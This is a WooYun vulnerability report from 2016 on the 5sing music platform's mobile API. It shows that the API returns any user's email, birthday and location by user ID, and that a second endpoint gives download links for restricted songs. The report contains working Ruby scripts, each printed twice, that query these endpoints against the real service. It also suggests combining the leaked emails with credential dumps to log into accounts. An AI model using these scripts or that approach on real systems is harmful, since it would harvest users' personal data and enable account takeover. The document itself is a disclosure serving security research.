当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0177760

漏洞标题：5sing原创音乐基地手机接口泄露任意账户敏感信息

相关厂商：中国原创音乐基地

漏洞作者： 路人甲

提交时间：2016-02-23 09:30

修复时间：2016-02-28 09:40

公开时间：2016-02-28 09:40

漏洞类型：账户体系控制不严

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-02-23： 细节已通知厂商并且等待厂商处理中
2016-02-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

5sing原创音乐基地手机接口泄露任意账户敏感信息

详细说明：

用mitmproxy抓ios的app的时候抓到的一个API接口，有user id就可以查询账户的绑定邮箱，配合社工裤可以尝试登陆5sing账户。
E参数就是email，可能还能获得其他别的信息，但是参数未知。

YY截图20160222192341.png


返回的是json的 写个脚本转换下就行了

#!/usr/bin/env ruby
require 'open-uri'
require 'json'
if(ARGV[0].nil?)
        abort "no param."
end
uri = URI.parse("http://mobileapi.5sing.kugou.com/user/get?userid=#{ARGV[0]}&fields=ID,NN,I,B,P,C,SX,E,M,VT,CT,TYC,TFC,TBZ,TFD,TFS,SC,YCRQ,FCRQ,CC,BG,DJ,RC,MC,AU,SR,SG,VG,ISC,ML&version=5.7.2")
uri.open
str = uri.read
json_result = JSON.parse str
json_result = json_result["data"]
puts "ID:\t\t" + json_result["ID"].to_s
puts "NickName:\t" + json_result["NN"].to_s
puts "Birthday:\t" + json_result["B"].to_s
puts "Province:\t" + json_result["P"].to_s
puts "City:\t\t" + json_result["C"].to_s
puts "Email:\t\t" + json_result["E"].to_s
puts "Motto:\t\t" + json_result["M"].to_s


同样还有一个接口可以得到不允许下载的歌曲的下载地址

#!/usr/bin/env ruby
require 'open-uri'
require 'json'
url = URI.parse("http://mobileapi.5sing.kugou.com/song/get?songtype=#{ARGV[1]}&songid=#{ARGV[0]}&songfields=ID,SN,FN,SK,SW,SS,ST,SI,CT,M,S,ZQ,WO,ZC,HY,YG,CK,D,RQ,DD,E,R,RC,SG,C,CS,LV,LG,SY,UID,PT,SCSR,SC&userfields=ID,NN,I&version=5.7.2")
url.open
json = JSON.parse url.read
puts json["data"]["ID"]
puts json["data"]["SN"]
puts json["data"]["FN"]

漏洞证明：

YY截图20160222192341.png


返回的是json的 写个脚本转换下就行了

#!/usr/bin/env ruby
require 'open-uri'
require 'json'
if(ARGV[0].nil?)
        abort "no param."
end
uri = URI.parse("http://mobileapi.5sing.kugou.com/user/get?userid=#{ARGV[0]}&fields=ID,NN,I,B,P,C,SX,E,M,VT,CT,TYC,TFC,TBZ,TFD,TFS,SC,YCRQ,FCRQ,CC,BG,DJ,RC,MC,AU,SR,SG,VG,ISC,ML&version=5.7.2")
uri.open
str = uri.read
json_result = JSON.parse str
json_result = json_result["data"]
puts "ID:\t\t" + json_result["ID"].to_s
puts "NickName:\t" + json_result["NN"].to_s
puts "Birthday:\t" + json_result["B"].to_s
puts "Province:\t" + json_result["P"].to_s
puts "City:\t\t" + json_result["C"].to_s
puts "Email:\t\t" + json_result["E"].to_s
puts "Motto:\t\t" + json_result["M"].to_s


YY截图20160222192802.png


同样还有一个接口可以得到不允许下载的歌曲的下载地址

#!/usr/bin/env ruby
require 'open-uri'
require 'json'
url = URI.parse("http://mobileapi.5sing.kugou.com/song/get?songtype=#{ARGV[1]}&songid=#{ARGV[0]}&songfields=ID,SN,FN,SK,SW,SS,ST,SI,CT,M,S,ZQ,WO,ZC,HY,YG,CK,D,RQ,DD,E,R,RC,SG,C,CS,LV,LG,SY,UID,PT,SCSR,SC&userfields=ID,NN,I&version=5.7.2")
url.open
json = JSON.parse url.read
puts json["data"]["ID"]
puts json["data"]["SN"]
puts json["data"]["FN"]

修复方案：

不要返回用不到的东西

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-02-28 09:40

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无